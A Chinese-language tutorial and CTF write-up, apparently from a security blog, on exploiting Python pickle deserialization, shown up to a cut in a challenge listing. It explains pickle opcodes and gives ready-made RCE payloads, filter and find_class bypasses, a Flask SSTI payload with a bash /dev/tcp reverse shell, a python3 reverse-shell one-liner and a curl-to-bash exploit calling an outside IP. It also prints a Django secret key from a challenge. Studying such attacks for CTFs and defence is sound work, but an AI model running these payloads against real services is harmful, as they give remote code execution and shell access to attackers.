  • v3 版协议是在 Python 3.0 中引入的。 它显式地支持 <span class="pre">bytes</span> 字节对象,不能使用 Python 2.x 解封。这是 Python 3.0-3.7 的默认协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。它是Python 3.8使用的默认协议。有关第 4 版协议带来改进的信息,请参阅 PEP 3154
  • 第 5 版协议是在 Python 3.8 中加入的。 它增加了对带外数据的支持,并可加速带内数据处理。 请参阅 PEP 574 了解第 5 版协议所带来的改进的详情。

常用方法接口

pickle.dump(obj, file, protocol=None, *, fix_imports=True)

将打包好的对象 obj 写入文件 中,其中 protocol 为 pickling 的协议版本(下同)。

pickle.dumps(obj, protocol=None, *, fix_imports=True)

将 obj 打包以后的对象作为 bytes 类型直接返回。

pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict")

文件 中读取二进制字节流,将其反序列化为一个对象并返回。

pickle.loads(data, *, fix_imports=True, encoding="ASCII", errors="strict")

data 中读取二进制字节流,将其反序列化为一个对象并返回。

object.__reduce__()

__reduce__() 其实是 object类中的一个魔术方法,我们可以通过重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行。

Python 要求该方法返回一个 字符串或者元组 。如果返回元组(callable, ([para1,para2...])[,...]) ,那么每当该类的对象被反序列化时,该 callable 就会被调用,参数为para1para2 ... 后面再详细解释

指令集 opcode

MARK           = b'('   # push special markobject on stack
STOP           = b'.'   # every pickle ends with STOP
POP            = b'0'   # discard topmost stack item
POP_MARK       = b'1'   # discard stack top through topmost markobject
DUP            = b'2'   # duplicate top stack item
FLOAT          = b'F'   # push float object; decimal string argument
INT            = b'I'   # push integer or bool; decimal string argument
BININT         = b'J'   # push four-byte signed int
BININT1        = b'K'   # push 1-byte unsigned int
LONG           = b'L'   # push long; decimal string argument
BININT2        = b'M'   # push 2-byte unsigned int
NONE           = b'N'   # push None
PERSID         = b'P'   # push persistent object; id is taken from string arg
BINPERSID      = b'Q'   #  "       "         "  ;  "  "   "     "  stack
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STRING         = b'S'   # push string; NL-terminated string argument
BINSTRING      = b'T'   # push string; counted binary string argument
SHORT_BINSTRING= b'U'   #  "     "   ;    "      "       "      " < 256 bytes
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE     = b'X'   #   "     "       "  ; counted UTF-8 string argument
APPEND         = b'a'   # append stack top to list below it
BUILD          = b'b'   # call __setstate__ or __dict__.update()
GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
DICT           = b'd'   # build a dict from stack items
EMPTY_DICT     = b'}'   # push empty dict
APPENDS        = b'e'   # extend list on stack by topmost stack slice
GET            = b'g'   # push item from memo on stack; index is string arg
BINGET         = b'h'   #   "    "    "    "   "   "  ;   "    " 1-byte arg
INST           = b'i'   # build & push class instance
LONG_BINGET    = b'j'   # push item from memo on stack; index is 4-byte arg
LIST           = b'l'   # build list from topmost stack items
EMPTY_LIST     = b']'   # push empty list
OBJ            = b'o'   # build & push class instance
PUT            = b'p'   # store stack top in memo; index is string arg
BINPUT         = b'q'   #   "     "    "   "   " ;   "    " 1-byte arg
LONG_BINPUT    = b'r'   #   "     "    "   "   " ;   "    " 4-byte arg
SETITEM        = b's'   # add key+value pair to dict
TUPLE          = b't'   # build tuple from topmost stack items
EMPTY_TUPLE    = b')'   # push empty tuple
SETITEMS       = b'u'   # modify dict by adding topmost key+value pairs
BINFLOAT       = b'G'   # push float; arg is 8-byte float encoding

TRUE           = b'I01\n'  # not an opcode; see INT docs in pickletools.py
FALSE          = b'I00\n'  # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO          = b'\x80'  # identify pickle protocol
NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple
EXT1           = b'\x82'  # push object from extension registry; 1-byte index
EXT2           = b'\x83'  # ditto, but 2-byte index
EXT4           = b'\x84'  # ditto, but 4-byte index
TUPLE1         = b'\x85'  # build 1-tuple from stack top
TUPLE2         = b'\x86'  # build 2-tuple from two topmost stack items
TUPLE3         = b'\x87'  # build 3-tuple from three topmost stack items
NEWTRUE        = b'\x88'  # push True
NEWFALSE       = b'\x89'  # push False
LONG1          = b'\x8a'  # push long from < 256 bytes
LONG4          = b'\x8b'  # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES       = b'B'   # push bytes; counted binary string argument
SHORT_BINBYTES = b'C'   #  "     "   ;    "      "       "      " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c'  # push short string; UTF-8 length < 256 bytes
BINUNICODE8      = b'\x8d'  # push very long string
BINBYTES8        = b'\x8e'  # push very long bytes string
EMPTY_SET        = b'\x8f'  # push empty set on the stack
ADDITEMS         = b'\x90'  # modify set by adding topmost stack items
FROZENSET        = b'\x91'  # build frozenset from topmost stack items
NEWOBJ_EX        = b'\x92'  # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL     = b'\x93'  # same as GLOBAL but using names on the stacks
MEMOIZE          = b'\x94'  # store top of the stack in memo
FRAME            = b'\x95'  # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8       = b'\x96'  # push bytearray
NEXT_BUFFER      = b'\x97'  # push next out-of-band buffer
READONLY_BUFFER  = b'\x98'  # make top of stack readonly

opcode demo

demo

序列化、反序列化的背后通常都是面向对象编程的大概念,我们可以简单写一个类,看一下它的 pickle 序列化的内容

import pickle

class Person(): #类名
    def __init__(self):
        self.age=18 #属性
        self.name="Pickle"

p=Person()
opcode=pickle.dumps(p)
print(opcode)

# b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'

我们的序列化内容是一串基于上面提到的操作码的 bytes,我们可以利用 pickletools 将这里的 opcode 转化成我们更易读的形式

import opcode
import pickletools

opcode = b'\x80\x03c__main__\nPerson\nq\x00)\x81q\x01}q\x02(X\x03\x00\x00\x00ageq\x03K\x12X\x04\x00\x00\x00nameq\x04X\x06\x00\x00\x00Pickleq\x05ub.'
pickletools.dis(opcode)

'''
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ Person'
   19: q    BINPUT     0
   21: )    EMPTY_TUPLE
   22: \x81 NEWOBJ
   23: q    BINPUT     1
   25: }    EMPTY_DICT
   26: q    BINPUT     2
   28: (    MARK
   29: X        BINUNICODE 'age'
   37: q        BINPUT     3
   39: K        BININT1    18
   41: X        BINUNICODE 'name'
   50: q        BINPUT     4
   52: X        BINUNICODE 'Pickle'
   63: q        BINPUT     5
   65: u        SETITEMS   (MARK at 28)
   66: b    BUILD
   67: .    STOP
highest protocol among opcodes = 2
'''

对照上面的操作码表还是很容易看懂的

Pker

https://github.com/EddieIvan01/pker 也可以使用这个工具来生成,在后续部分操作码被限制的时候某些情况下还是很好用的

漏洞产生原因

用户可控的反序列化入口点。

漏洞利用

在能够传入可控的 pickle.loads 的 data 的大前提下,我们就可以构想出以下几种攻击场景。

操控实例化对象的属性

假设有如下内容限制用户权限:

import pickle

class User:
    def __init__(self,admin,guest):
        self.admin=admin
        self.guest=guest

假设正常我们以访客登录时会传入如下 pickle 序列化内容

import pickle

class User:
    def __init__(self):
        self.admin=False
        self.guest=True

u = User()
print(pickle.dumps(u))

# b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x89X\x05\x00\x00\x00guestq\x04\x88ub.'

'''
    0: \x80 PROTO      3
    2: c    GLOBAL     '__main__ User'
   17: q    BINPUT     0
   19: )    EMPTY_TUPLE
   20: \x81 NEWOBJ
   21: q    BINPUT     1
   23: }    EMPTY_DICT
   24: q    BINPUT     2
   26: (    MARK
   27: X        BINUNICODE 'admin'
   37: q        BINPUT     3
   39: \x89     NEWFALSE
   40: X        BINUNICODE 'guest'
   50: q        BINPUT     4
   52: \x88     NEWTRUE
   53: u        SETITEMS   (MARK at 26)
   54: b    BUILD
   55: .    STOP
highest protocol among opcodes = 2
'''

那么我们对登陆时的 \x89 \x88 进行调换,即可得到如下实例化结果:

import opcode
import pickle
import pickletools

class User:
    def __init__(self,admin,guest):
        self.admin=admin
        self.guest=guest

opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ub.'
#pickletools.dis(opcode)

fakeUser = pickle.loads(opcode)
print(fakeUser.admin,fakeUser.guest)

# True False

变量覆盖

我们也可以直接进行变量覆盖,示例

import pickle
import secret

print("secret:"+secret.secret)

opcode=b'''c__main__
secret
(S'secret'
S'Hacker!!!'
db.'''
fake=pickle.loads(opcode)

print("fakesecret:"+fake.secret)

#secret:sp4c1ous
#fakesecret:Hacker!!!

用到的 opcode:

opcode=b'''c__main__
secret
(S'secret' # secret 内的 secret 属性
S'Hacker!!!' # 指定要替换的内容
db.'''  # d创建空的dict然后 b 取前一个 Hacker!!! 进行update 这里的具体解释可以看到下面的 b 绕过 R 的部分

RCE

在攻击中我们的目的肯定最终是利用序列化的内容实现我们想要实现的操作,这里以RCE为例进行介绍,基本的构造如下:

c<module>
<callable>
(<args>
tR

填充上内容也就是:

cos
system #引入 os 模块的 system 方法,这里实际上是一步将函数添加到 stack 的操作
(S'ls' # 把当前 stack 存到 metastack,清空 stack,再将 'ls' 压入 stack
tR. # t 也就是将 stack 中的值弹出并转为 tuple,把 metastack 还原到 stack,再将 tuple 压入 stack
​    # R 的内容就成为了 system(*('ls',)) ,然后 . 代表结束,返回当前栈顶元素
<=> __import__('os').system(*('ls',))

这样就是一个最基础的 getshell 的构造,这里要回去看一下指令集,看一下这里用到的几种指令码。

其中 c 操作码指向的实际上是一个 self.find_class(modname, name); 可以在源码中找到

    def find_class(self, module, name):
        # Subclasses may override this.
        if self.proto < 3 and self.fix_imports:
            if (module, name) in _compat_pickle.NAME_MAPPING:
                module, name = _compat_pickle.NAME_MAPPING[(module, name)]
            elif module in _compat_pickle.IMPORT_MAPPING:
                module = _compat_pickle.IMPORT_MAPPING[module]
        __import__(module, level=0)
        if self.proto >= 4:
            return _getattribute(sys.modules[module], name)[0]
        else:
            return getattr(sys.modules[module], name)

可以在 load_global 中看到具体的实现,其中的 getattr 是通过 sys.modules 获取变量名的或者模块的,sys.modules是一个全局字典,我们可以从其中 get 到我们想要的属性,只要 python 启动 sys.modules 就会将模块导入字典中。

import sys
import secret

print(getattr(sys.modules['__main__'],'secret'))
# <module 'secret' from 'c:\\Users\\sp4c1ous\\Desktop\\secret.py'>

这样的 opcode 被我们 pickle.loads 的话就会导致 RCE

image

我们还可以重写类的 object.__reduce__() 函数,使之在被实例化时按照重写的方式进行,对应opcode当中的R指令

import pickle
import os

class Test(object):
    def __reduce__(self):
        return (os.system,('calc',))

print(pickle.dumps(Test(), protocol=0))

# b'cnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

利用 pickle 的 __reduce__ 可以直接用它的操作模式实现我们上面手搓的 __import__('os').system(*('ls',)) 的构造。( 缺点:只能执行单一的函数,很难构造复杂的操作 )

但是这种指令码在现在的 CTF 中已经很难生效了,通常都会对指令码进行过滤,需要我们结合对整个过程的理解来进行绕过。

在pickle中,和函数执行的字节码有三个:RioR 已经说过了,我们具体再看看 io

  • i 其实就相当于 c 和 o 的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)

    INST           = b'i'   # build & push class instance
    
    GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args
    OBJ            = b'o'   # build & push class instance

    示例:

    python opcode=b'''(S'calc' ios system .'''

  • o:寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)

    python opcode=b'''(cos system S'calc' o.'''

注意:部分Linux系统下和Windows下的opcode字节流并不兼容,比如Windows下执行系统命令函数为os.system(),在部分Linux下则为posix.system()

同时,我们可以发现pickle.loads 是可以自动 import 的,这一点为我们的攻击提供了方便。

攻击情景

我们可以看到 opcode 都会以 . 结束,我们在程序正常的 opcode 之后去掉 . 再拼接上我们的内容即可命令执行

import opcode
import pickle
import pickletools

class User:
    def __init__(self,admin,guest):
        self.admin=admin
        self.guest=guest

opcode = b'\x80\x03c__main__\nUser\nq\x00)\x81q\x01}q\x02(X\x05\x00\x00\x00adminq\x03\x88X\x05\x00\x00\x00guestq\x04\x89ubcnt\nsystem\np0\n(Vcalc\np1\ntp2\nRp3\n.'

fakeUser = pickle.loads(opcode)

image

漏洞修复

和其他的反序列化漏洞一样,永远不要相信用户的输入,确保 unpickle 的内容不会来自于不受信任的或者未经验证的来源的数据。

在这一点之外,我们还可以通过重写 Unpickler.find_class() 来限制全局变量:

import builtins
import io
import pickle

safe_builtins = {
    'range',
    'complex',
    'set',
    'frozenset',
    'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

    #重写了find_class方法
    def find_class(self, module, name):
        # Only allow safe classes from builtins.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))

def restricted_loads(s):
    """Helper function analogous to pickle.loads()."""
    return RestrictedUnpickler(io.BytesIO(s)).load()

opcode=b"cos\nsystem\n(S'echo hello world'\ntR."
restricted_loads(opcode)

###结果如下
Traceback (most recent call last):
...
_pickle.UnpicklingError: global 'os.system' is forbidden

以上例子通过重写Unpickler.find_class()方法,限制调用模块只能为builtins,且函数必须在白名单内,否则抛出异常。这种方式限制了调用的模块函数都在白名单之内,这就保证了Python在unpickle时的安全性。

漏洞 bypass

绕过find_class函数

我们在前面学习到了 c 操作码调用的 find_class 的逻辑,我们可以看到上面官方的修复方法中也是对 find_class 进行白名单限制,比如这里我们限制了 builtins ,但是显然我们可以通过自己构造类似 find_class 的逻辑进行 payload 构造,我们 c 操作码只需要对 builtins 进行操作就可以构造出 payload

我们可以利用 如下代码进行绕过

opcode=b'''cbuiltins
getattr
p0                    #取到 getattr
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2                  # getattr(dict, 'get')
00g1
(g2
S'__builtins__'       # get(__import__('builtins').globals(), '__builtins__')
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("calc")'    # 取到 eval 然后实现 RCE
tR.
'''

R 被过滤的时候,构造如下

opcode=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("calc")o00.'#最后两个0是栈为空,否则会报错

'''
    0: \x80 PROTO      3
    2: (    MARK
    3: c        GLOBAL     'builtins getattr'
   21: p        PUT        0
   24: c        GLOBAL     'builtins dict'
   39: p        PUT        1
   42: X        BINUNICODE 'get'
   50: o        OBJ        (MARK at 2)
   51: p    PUT        2
   54: 0    POP
   55: (    MARK
   56: g        GET        2
   59: (        MARK
   60: c            GLOBAL     'builtins globals'
   78: o            OBJ        (MARK at 59)
   79: X        BINUNICODE '__builtins__'
   96: o        OBJ        (MARK at 55)
   97: p    PUT        3
  100: (    MARK
  101: g        GET        0
  104: g        GET        3
  107: X        BINUNICODE 'eval'
  116: o        OBJ        (MARK at 100)
  117: p    PUT        4
  120: (    MARK
  121: g        GET        4
  124: X        BINUNICODE '__import__("os").system("whoami")'
  162: o        OBJ        (MARK at 120)
  163: 0    POP
  164: 0    POP
  165: .    STOP
highest protocol among opcodes = 2
'''

image

R 指令被过滤

b

上面 RCE 中我们提到了,我们可以使用 oi 来进行绕过,这里重点提一下 b

BUILD          = b'b'   # call __setstate__ or __dict__.update()

我们可以看到 b 指令码的作用,这里会调用到 __setstate__

__setstate__官方文档中,如果想要存储对象的状态,就可以使用__getstat____setstat__方法。由于 pickle 同样可以存储对象属性的状态,所以这两个魔术方法主要是针对那些不可被序列化的状态,如一个被打开的文件句柄open(file,'r')

和他成对的还有 __getstate__ ,被反序列化时调用__setstate__,被序列化时调用__getstate__。重写时可以省略__setstate__,但__getstate__必须返回一个字典。如果__getstate____setstate__都被省略, 那么就默认自动保存和加载对象的属性字典__dict__

示例:

import pickle

class Person:
    def __init__(self, name, age=0):
        self.name = name
        self.age = age

    def __str__(self):
        return f"name: {self.name}\nage: {self.age}"

class Child(Person):
    def __setstate__(self, state):
        print("invoke __setstate__")
        self.name=state
        self.age=10

    def __getstate__(self):
        print("invoke __getstate__")
        return "Child"

child=Child("TEST",123)
print(child)
#name: TEST
#age: 123

opcode=pickle.dumps(child,protocol=0)
print(opcode)
#invoke __getstate__
#b'ccopy_reg\n_reconstructor\np0\n(c__main__\nChild\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\nVChild\np5\nb.'

c1=pickle.loads(opcode)
print(c1)
#invoke __setstate__
#name: Child
#age: 10

在 pickle 源码中,字节码b对应的是load_build()函数

    def load_build(self):
        stack = self.stack
        state = stack.pop()
        # 首先获取栈上的字节码 b 前的一个元素,对于对象来说,该元素一般是存储有对象属性的dict
        inst = stack[-1]
        #获取该字典中键名为"__setstate__"的value
        setstate = getattr(inst, "__setstate__", None)
        #如果存在,则执行value(state)
        if setstate is not None:
            setstate(state)
            return
        slotstate = None
        if isinstance(state, tuple) and len(state) == 2:
            state, slotstate = state
        #如果"__setstate__"为空,则state与对象默认的__dict__合并,这一步其实就是将序列化前保存的持久化属性和对象属性字典合并
        if state:
            inst_dict = inst.__dict__
            intern = sys.intern
            for k, v in state.items():
                if type(k) is str:
                    inst_dict[intern(k)] = v
                else:
                    inst_dict[k] = v
        #如果__setstate__和__getstate__都没有设置,则加载默认__dict__
        if slotstate:
            for k, v in slotstate.items():
                setattr(inst, k, v)
    dispatch[BUILD[0]] = load_build

根据上面代码的逻辑我们可以进行如下构造:

o}(S"__setstate__"    # } 压入空dict __setstate__,然后 c push进去我们的 os.system
cos
system
ubS"calc"  # 执行第一次 b ,因为现在并没有 b ,所以执行 __dict__.update,也就是将我们前面的 {"__setstate__":os.system} 写入了
             # 压入命令再次执行 b 由于已经有了__setstate__,所以会将栈中字节码 b 的前一个元素当作 state,执行__setstate__(state),
b.

测试demo

import pickle

class Person:
    def __init__(self,age):
        self.age=age

opcode=b'''(c__main__
Person
I18
o}(S"__setstate__"
cos
system
ubS"calc"
b.'''

p=pickle.loads(opcode)

'''
    0: (    MARK
    1: c        GLOBAL     '__main__ Person'
   18: I        INT        18
   22: o        OBJ        (MARK at 0)
   23: }    EMPTY_DICT
   24: (    MARK
   25: S        STRING     '__setstate__'
   41: c        GLOBAL     'os system'
   52: u        SETITEMS   (MARK at 24)
   53: b    BUILD
   54: S    STRING     'calc'
   62: b    BUILD
   63: .    STOP
highest protocol among opcodes = 1
'''

image

利用 python 内置函数绕过

这一部分就是考验 python 的基础了,题目的话可以参考 美团CTF 2022 ezpickle 和 蓝帽杯2022 file_session

关于 python 的内置函数可以移步官方文档 https://docs.python.org/zh-cn/3/library/functions.html,我们需要在这里面找到可以进行命令执行的函数,这里给出两个

for x in map.__new__(map, eval, ['print(\'map\')']):  
    pass

for x in filter.__new__(filter, eval, ['print(\'filter\')']):  
    pass

如上,但是这里是有一点问题的,这两个函数构建一个新的迭代器

image

image

这里构建的迭代器是不会立即触发的,在 python 中好像叫懒惰,我们需要再对迭代对象进行一步 __next__ 才能将他触发

r = map(eval, ['print(\'1\')'])
r.__next__()

r = filter(eval, ['print(\'2\')'])
r.__next__()

image

__next__ 我们可以对他进行一个跟踪,看文档就可以

image

Python/C API 中 Python 对象类型结构体的 tp_iternext 槽位

image

可以看到最下面,这里实际上也就是对应着 PyIter_Next

image

我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候,触发的方式就不能是再在后面拼接 __next__() 了,我们需要找一个能够触发 PyIter_Next 的方法:

bytes.__new__(bytes, map.__new__(map, eval, ['print(1)']))  # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"]))  # tuple_new_impl->PySequence_Tuple->PyIter_Next

也就是

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

pickle.loads(opcode)

用到的核心其实就是

NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple

敏感字符 bypass

S

S 操作码本身是 String ,是支持十六进制的识别的

S'flag' => S'\x66\x6c\x61\x67'
V
UNICODE        = b'V'   # push Unicode string; raw-unicode-escaped'd argument

在指令集中存在一个 V 用于操作 Unicode 字符,对原本的 S 进行替换后即可在单引号内使用 Unicode 编码

S'flag' => V'\u0066\u006C\u0061\u0067'
利用内置函数取关键字

image

我们可以用 dir 列出 admin 模块的所有属性,我们需要的 secret 属性位于最后的位置,这个时候我们就可以利用函数将这里的 secret 取出来

print(next(reversed(dir(sys.modules['admin']))))

#secret

reversed 函数将 dir 得到的列表逆序,然后使用 next 取第一个即可,写到 opcode 中就是如下构造

(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
.

flask 框架下结合 SSTI 进行 bypass

简单放一下 payload,大体的思路就是调用 flask.templating 的 render_template_string 来传入 SSTI 的相关 paylaod

payload="cflask.templating\nrender_template_string\np0\n(S\"&#123;% for x in (().__class__.__base__.__subclasses__()) %&#125;&#123;%if x.__name__ =='catch_warnings'%&#125;&#123;&#123;x.__repr__.im_func.func_globals.linecache.os.system('bash -c \"bash -i >& /dev/tcp/172.17.0.1/12345 0>&1\" &')&#125;&#125;&#123;%endif%&#125;&#123;%endfor%&#125;\"\np1\ntp2\nRp3\n."

题目整理

强网杯 2022 crash

题目给出了源码

import base64

# import sqlite3

import pickle
from flask import Flask, make_response,request, session
import admin
import random

app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)

class User:
    def __init__(self, username,password):
        self.username=username
        self.token=hash(password)

def get_password(username):
    if username=="admin":
        return admin.secret
    else:
        # conn=sqlite3.connect("user.db")
        # cursor=conn.cursor()
        # cursor.execute(f"select password from usertable where username='{username}'")
        # data=cursor.fetchall()[0]
        # if data:
        #     return data[0]
        # else:
        #     return None
        return session.get("password")

@app.route('/balancer', methods=['GET', 'POST'])
def flag():
    pickle_data=base64.b64decode(request.cookies.get("userdata"))
    if b'R' in pickle_data or b"secret" in pickle_data:
        return "You damm hacker!"
    os.system("rm -rf *py*")
    userdata=pickle.loads(pickle_data)
    if userdata.token!=hash(get_password(userdata.username)):
         return "Login First"
    if userdata.username=='admin':
        return "Welcome admin, here is your next challenge!"
    return "You're not admin!"

@app.route('/login', methods=['GET', 'POST'])
def login():
    resp = make_response("success")
    session["password"]=request.values.get("password")
    resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
    return resp

@app.route('/', methods=['GET', 'POST'])
def index():
    return open('source.txt',"r").read()

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

这里我们只写用到 pickle 反序列化的部分,我们希望通过覆盖属性的方式来获得一个已知的 secret,可以看到黑名单:

if b'R' in pickle_data or b"secret" in pickle_data:

不能用 R 指令码,不能含有要覆盖的 secret 关键字,绕过这两处即可

b'''capp
admin
(Vsecr\u0065t
I1
db0(capp
User
S"admin"
I1
o.'''

或者

b'''capp
admin
(S'\x73ecret'
I1
db0(capp
User
S"admin"
I1
o.'''

再或者

opcode = b'''c__main__
admin
(((((c__main__
admin
i__builtin__
dir
i__builtin__
reversed
i__builtin__
next
I1
db(S'admin'
I1
i__main__
User
.'''

Code-Breaking 2018 picklecode

https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

起环境之后可以看到:

image

直接审计源码,使用的是 django 模板,很简单可以看出来是一个 pickle 反序列化,映入眼帘的 manger.py 中就可以看到写好的 PickleSerializer

image

添加了一系列的黑名单,可以在 setting 下的 SESSION_SERIALIZER 中找到调用

image

这里看过 P 牛的 WP 后补充一下,SESSION_ENGINE 指的是 Django 使用时将用户认证信息存储在哪里,在一般的 Django 项目中很少看到对这两个值进行设置,默认Django项目中,这两个值分别是:django.contrib.sessions.backends.dbdjango.contrib.sessions.serializers.JSONSerializer,显然默认 Django 的 session 是使用 json 的形式,存储在数据库里。

简单理解的话就是 用户的session对象先由SESSION_SERIALIZER指定的方式转换成一个字符串,再由SESSION_ENGINE指定的方式存储到某个地方。

继续审计,我们可以在 challenge\views.py 中找到可控点,这里直接被拼接进了 模板渲染,显然会存在一个模板注入的漏洞

image

Django 的模板引擎沙箱其实一直是很安全的,也就是说即使你让用户控制了模板或模板的一部分,造成模板注入漏洞,也无法通过这个漏洞来执行代码。但是我们可以利用这里获取一些敏感信息。

常用的 Django 格式化字符串的 payload:

{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
{user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}

思路是一样的,但是和格式化字符串漏洞不同,Django的模板引擎有一定限制,比如我们无法读取用下划线开头的属性,所以这里的两种 payload 都是不能用的。

这个 payload 我们可以通过调试得到,在 debug 里面一点点找

image

很累眼

request.user.groups.source_field.opts.app_config.module.settings.SECRET_KEY

image

这样就得到了 secret_key

zs%o-mvuihtk6g4pgd+xpa&1hh9%&ulnf!@9qx8_y5kk+7^cvm

这里是第一个沙箱的内容,第二个沙箱就是我们的 pickle 了,也就是 SESSION_SERIALIZER = 'core.serializer.PickleSerializer'

这里的黑名单限制的是 module 必须为 builtins,同时name 中不能有 {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

我们通过 builtins.getattr('builtins', 'eval') 取 eval 方法就可以绕过这里的检测了

opcode = b'''cbuiltins
getattr         # 使用c,获取 getattr 这个可执行对象
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'builtins'
tRp1            # 用dict.get来从globals的结果中拿到上下文里的builtins对象,并将这个对象放置在memo[1]
cbuiltins
getattr
(g1
S'eval'         # 利用得到的 builtins 对象调用 getattr('builtins', 'eval')
tR(S'__import__("os").system("calc")' 写入 eval 的参数
tR.
'''

image

SekaiCTF 2022 Bottle Poem

image

image

可以猜测这里存在一个任意文件读取,直接读 ../app.py 是 No,不过可以读到 /proc/self/cmdline

image

然后读绝对路径就可以读源码了

from bottle import route, run, template, request, response, error
from config.secret import sekai
import os
import re

@route("/")
def home():
    return template("index")

@route("/show")
def index():
    response.content_type = "text/plain; charset=UTF-8"
    param = request.query.id
    if re.search("^../app", param):
        return "No!!!!"
    requested_path = os.path.join(os.getcwd() + "/poems", param)
    try:
        with open(requested_path) as f:
            tfile = f.read()
    except Exception as e:
        return "No This Poems"
    return tfile

@error(404)
def error404(error):
    return template("error")

@route("/sign")
def index():
    try:
        session = request.get_cookie("name", secret=sekai)
        if not session or session["name"] == "guest":
            session = {"name": "guest"}
            response.set_cookie("name", session, secret=sekai)
            return template("guest", name=session["name"])
        if session["name"] == "admin":
            return template("admin", name=session["name"])
    except:
        return "pls no hax"

if __name__ == "__main__":
    os.chdir(os.path.dirname(__file__))
    run(host="0.0.0.0", port=8080)

稍微审计一下就可以发现,这里没有使用常用的 flask,用了一个叫 bottle 的东西,可能是我们的突破点,然后这里还有一个 config.secret 也就是 /app/config/secret.py,后续也有一个 session 用户的问题。

image

secret 知道了,这里显然需要用 bottle 伪造出来一个权限为 admin 的 session

image

但是并没有什么用 ...

这里实际上是一个 Pickle 反序列化,至于如何得知的我们就只能去审计源码了,跟进源码中调用的 bottle 的几种方法

这里看到 bottle request 的 get_cookie 方法

image

这里是它的 get_cookie 方法,这里可以看到一个 cookie_decode ,跟进

image

可以看到这里调用了 pickle.loads

再看一下 set_cookie 方法

image

可以看到,这里和上面对应的有一个 cookie_encode 方法

image

可以看到,这里调用了 pickle.dumps(data, -1) 这里没有过滤,我们可以直接传入最简单的 __reduce__ 生成的 payload

        if secret:
            value = touni(cookie_encode((name, value), secret))

那么我们的 pickle 内容相应的也就存在了 (name, value) 也就额是 cookie_encode 的 data 参数

python3 反弹shell

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('47.104.14.160',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

或者用 curl 自己服务器的方式反弹 shell

exp:

import os
from bottle import cookie_encode

class Test:
    def __reduce__(self):
        return (eval, ('__import__("os").popen("curl http://47.104.14.160/shell.html|bash")',))
exp = cookie_encode(
    ('session', {"name": [Test()]}),
    "Se3333KKKKKKAAAAIIIIILLLLovVVVVV3333YYYYoooouuu"
)
print(exp)

image

美团CTF 2022 ezpickle

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex() #设置key为随机打乱的4位数字字母组合例如a8c3

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))#设置user为a,d,m,i,n任意拼接的五个字符,例如aadai,admmi...
    return 'Hello {}!'.format(session['user'])

@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
